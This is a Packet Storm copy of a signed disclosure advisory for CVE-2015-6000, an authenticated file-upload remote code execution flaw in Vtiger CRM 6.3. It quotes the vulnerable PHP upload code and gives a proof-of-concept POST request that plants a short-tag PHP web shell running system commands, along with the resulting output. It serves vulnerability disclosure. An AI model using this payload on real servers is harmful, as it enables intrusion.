what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Vtiger CRM 6.3 Remote Code Execution

Vtiger CRM 6.3 Remote Code Execution
Posted Sep 29, 2015
Authored by Benjamin Daniel Mussler

Vtiger CRM versions 6.3 and below suffer from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2015-6000
SHA-256 | 96b388a6a1d5f8b1624567791aa9ea216d7831e2fe9b587518ffa4e13d1e477c

Vtiger CRM 6.3 Remote Code Execution

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Vtiger CRM Authenticated Remote Code Execution (CVE-2015-6000)
<http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html>

1. Summary
2. Vulnerability Details
3. Exploitation / Proof of Concept
4. Timeline
5. See Also

########## 1. Summary ##########

Vtiger CRM <https://www.vtiger.com/open-source/> is a CRM application.

Vtiger CRM version 6.3 (“Open Source” branch; released on 2015-06-04)
and lower are vulnerable to Authenticated Remote Code Execution.


########## 2. Vulnerability Details ##########

Vtiger CRM allows for the upload of a "company logo" from within the
administrative interface. The corresponding functionality can be
accessed on the "CRM Settings" page (Settings -> CRM Settings ->
Templates -> Company Details -> "Edit" button;
(<.../index.php?parent=Settings&module=Vtiger&view=CompanyDetails&block=4&fieldid=15>).

Multiple flaws in the Settings_Vtiger_CompanyDetailsSave_Action class
allow attackers to upload files with arbitrary file names and (almost)
arbitrary contents, including, but not limited to, PHP code passing
commands to the underlying operating system.

First, the file type check is based solely on the MIME type
("Content-Type") sent by the client:

(Source file: vtigercrm/modules/Settings/Vtiger/actions/CompanyDetailsSave.php)

class Settings_Vtiger_CompanyDetailsSave_Action extends Settings_Vtiger_Basic_Action {
[...]
$logoDetails = $_FILES['logo'];
$fileType = explode('/', $logoDetails['type']);
$fileType = $fileType[1];
if (!$logoDetails['size'] || !in_array($fileType, Settings_Vtiger_CompanyDetails_Model::$logoSupportedFormats)) {
$saveLogo = false;
}



This is followed by an insufficient check for PHP code inside the
uploaded file:

(Source file: vtigercrm/modules/Settings/Vtiger/actions/CompanyDetailsSave.php)

// Check for php code injection
$imageContents = file_get_contents($_FILES["logo"]["tmp_name"]);
if (preg_match('/(<\?php?(.*?))/i', $imageContents) == 1) {
$saveLogo = false;
}


Not only can this check be circumvented by using PHP short tags instead
of “<?php “. It also provides no protection whatsoever against uploads
of code written in scripting languages other than PHP, which, depending
on the system configuration, may or may not be executable.

Vtiger CRM then saves the uploaded file's contents with the
client-specified file name in the publicly accessible "test/logo/"
directory:

(Source file: modules/Settings/Vtiger/models/CompanyDetails.php)

class Settings_Vtiger_CompanyDetails_Model extends Settings_Vtiger_Module_Model {
[...]
var $logoPath = 'test/logo/';
[...]
public function saveLogo() {
$uploadDir = vglobal('root_directory'). '/' .$this->logoPath;
$logoName = $uploadDir.$_FILES["logo"]["name"];
move_uploaded_file($_FILES["logo"]["tmp_name"], $logoName);
copy($logoName, $uploadDir.'application.ico');
}



Combining these flaws, an attacker can transfer arbitrary code to the
web server, as long as s/he provides a permitted MIME type (e.g.
"Content-Type: image/jpeg") and avoids the string “<?ph” within the
code. The code can then be run by accessing the location of the uploaded
file (“<Vtiger URL>/test/logo/<attacker-specified file name>”).



########## 3. Exploitation / Proof of Concept ##########

Through a specially crafted HTTP-POST request, a PHP file is stored on
the server hosting the Vtiger CRM software:

POST /index.php HTTP/1.1
Host: [...]
Cookie: [...]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------51732462825208
Content-Length: 2040

-----------------------------51732462825208
Content-Disposition: form-data; name="__vtrftk"

[...]
-----------------------------51732462825208
Content-Disposition: form-data; name="logo"; filename="2.php"
Content-Type: image/jpeg

<? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>
-----------------------------51732462825208
Content-Disposition: form-data; name="address"
[...]


The resulting PHP file can then be accessed at <Vtiger
URL>/test/logo/2.php , which will execute the given commands and display
their output:

uid=3491(mussKV4JcX9c) gid=3491(mussKV4JcX9c) groups=3491(mussKV4JcX9c)
Linux [...] 3.2.0-77-virtual #114-Ubuntu SMP Tue Mar 10 17:38:02 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
eth0 Link encap:Ethernet HWaddr [...]
inet addr: [...]


########## 4. Timeline ##########

2015-08-28 Vulnerability reported to Vtiger.
2015-09-01 Vtiger acknowledges vulnerability.
2015-09-03 CVE-2015-6000 assigned by CERT/CC.
2015-09-28 Public disclosure.


########## 5. See Also ##########

CVE-2015-6000 at cve.mitre.org: <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6000>
CVE-2015-6000 at NVD: <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-6000>
Source: <http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.21

iQIcBAEBAgAGBQJWCVMJAAoJEAg0a3ng3v4fyPQQAIQnPDewMWRG8SDvcbyRINPv
VSYigmW2toTjNYv6/I5a+34fz9D3S1z425+4dXeuZQyT7LDvKsgZhtzOJE9HKXW4
MfEfCfUE6iWg+GOcrBztoF09tOuTNd+06l+BGIb7a7xQO+656XA+jQ6AULE9nPtC
iaw4X3ArhA/nh1B3G5Bawz8AJxwC+bEjVG2sGeXaxbhLwiEtWD9Mfi+fZlMimr3k
kmn5tQ21PevU5dKS7i2Cl6ykwcV1hrR5E2vyxYzpjy25242qMdcNyvZnvs28zpKa
KV8CegrIo6N+sRyqBCd7aZfuZbDzkBaITq6C5Ae5VO5fnOHAfDM8gJG+SqH1enqM
c0oqWtQ6m3Fqyp9Mu012Qi3cu7ONAYRd9ehBBnj59TLNAZYNf2n1pHMAxK6d7Skt
9v7+hPff1MpZqjcV7L/RJryREznG1gIQltlrd6fjMdazs6BIETfWDr/jBK33lAUX
+rrWUX8H4JgFrlqXDpy0jTmom8mgNtb9qncQDxd5kpodSWE0SjTI8/zwm19qVX1G
mIDRLXWBHqN41mA2KC/ac9Ep3Yj5AQrFQ3jXVq4VmdCMB50LeSXn1HyWzc6dmqmt
+5Cct/NxIfXYXvcYAG+UkfOyxRDRZhhfw7PbUrI2fMx+vjoEuMDPDOcwmH/JSnU5
QufrotYWhaf1IkT21ZLr
=pq0q
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close